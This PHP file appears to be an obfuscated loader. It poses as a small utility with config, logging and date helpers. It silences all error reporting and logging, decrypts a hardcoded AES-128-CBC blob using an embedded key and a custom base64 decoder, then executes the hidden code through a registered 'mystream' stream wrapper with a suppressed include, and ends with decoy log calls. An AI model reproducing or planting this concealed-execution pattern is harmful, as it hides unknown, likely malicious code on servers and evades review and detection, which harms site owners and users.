<?php
error_reporting(0);
ini_set('display_errors', '0');
ini_set('log_errors', '0');
ini_set('error_log', null);

$config = [
    'env'     => 'local',
    'version' => '1.0.3',
    'debug'   => false,
];

function writeLog($message, $level = 'info') {
    $timestamp = date('Y-m-d H:i:s');
    $line = "[$timestamp][$level] $message\n";
    return strlen($line);
}

function formatDate($time) {
    return date('Y-m-d', $time);
}

$key = 'e45e329feb5d925b';
$iv  = str_pad('fsd123hkfsd', 16, "\0");

$cipherRaw = 'kwsWdmrByWgYbSnzNjCNu4oiOHq41NxoKvx5Kst0gv+rkUPu9D5w8X5dzVMY4F8tv9VKpAchSnab++RnmaTBFx3ISw66oW6m+4Da7Hoh7YRWO3H7ivT4wBFAiarsn+19GcxoEY1JYNiZZCcRDKZZxLf9f/IxLai6LSFV3PX0abnem/MEEA2lRlo+vCvzopgbDftzZ+ZTfqkMa4TZ0jmrCCPLXmYJ2+QxFxfeIo7X8d2w2L96OshYpeeJxIA5sxxk4k3OiAJrP1K5lji3Cbdzs1DG06p+/33qmrftv2rITvD5EGOIid80mMioEvsnkwZoIzeCLsNw89WcnoQ/7rex3mxSnblT+Z9ZaPyuX4TGBvVkOoUC5820lTK04B4HJuUi';

function mapCharsToBytes($s) {
    $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
    $map = [];
    for ($i = 0, $n = strlen($alphabet); $i < $n; $i++) {
        $map[$alphabet[$i]] = $i;
    }
    $out = '';
    $buffer = 0;
    $bits = 0;
    $len = strlen($s);
    for ($i = 0; $i < $len; $i++) {
        $c = $s[$i];
        if ($c === '=') {
            break;
        }
        if (!isset($map[$c])) {
            continue;
        }
        $buffer = ($buffer << 6) | $map[$c];
        $bits += 6;
        while ($bits >= 8) {
            $bits -= 8;
            $out .= chr(($buffer >> $bits) & 0xFF);
            $buffer &= ((1 << $bits) - 1);
        }
    }
    return $out;
}

$ct = mapCharsToBytes($cipherRaw);
$code = openssl_decrypt($ct, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv);

if ($code === false || $code === null) {
    die("Decrypt failed or returned empty code.\n");
}

if (strpos(ltrim($code), '<?') !== 0) {
    $code = "<?php\n" . $code;
}

class CodeStream {
    public static $payload = '';
    private $pos = 0;
    private $len = 0;
    private $code = '';

    public function stream_open($path, $mode, $options, &$opened_path) {
        $this->code = (string) self::$payload;
        $this->len = strlen($this->code);
        $this->pos = 0;
        return true;
    }

    public function stream_read($count) {
        if ($this->pos >= $this->len) {
            return '';
        }
        $ret = substr($this->code, $this->pos, $count);
        $this->pos += strlen($ret);
        return $ret;
    }

    public function stream_eof() {
        return $this->pos >= $this->len;
    }

    public function stream_tell() {
        return $this->pos;
    }

    public function stream_seek($offset, $whence = SEEK_SET) {
        switch ($whence) {
            case SEEK_SET:
                if ($offset < 0 || $offset > $this->len) return false;
                $this->pos = $offset;
                return true;
            case SEEK_CUR:
                $new = $this->pos + $offset;
                if ($new < 0 || $new > $this->len) return false;
                $this->pos = $new;
                return true;
            case SEEK_END:
                $new = $this->len + $offset;
                if ($new < 0 || $new > $this->len) return false;
                $this->pos = $new;
                return true;
            default:
                return false;
        }
    }

    public function stream_stat() {
        return $this->buildStat();
    }

    public function url_stat($path, $flags) {
        return $this->buildStat();
    }

    private function buildStat() {
        $size = strlen($this->code);
        $now = time();
        return [
            0 => 0, 1 => 0, 2 => 0100777,
            3 => 0, 4 => 0, 5 => 0, 6 => 0,
            7 => $size,
            8 => $now,
            9 => $now,
            10 => $now,
            11 => -1,
            12 => -1
        ];
    }

    public function stream_set_option($option, $arg1, $arg2) {
        return true;
    }

    public function stream_close() {
    }
}

$wrapperName = 'mystream';
$registered = stream_get_wrappers();
if (in_array($wrapperName, $registered)) {
    @stream_wrapper_unregister($wrapperName);
}
if (!stream_wrapper_register($wrapperName, 'CodeStream')) {
    die("Failed to register stream wrapper '{$wrapperName}'.\n");
}

CodeStream::$payload = $code;
@include $wrapperName . '://code';
@stream_wrapper_unregister($wrapperName);

if (!$config['debug']) {
    $lastCheck = formatDate(time());
    $status = writeLog("System check at $lastCheck");
}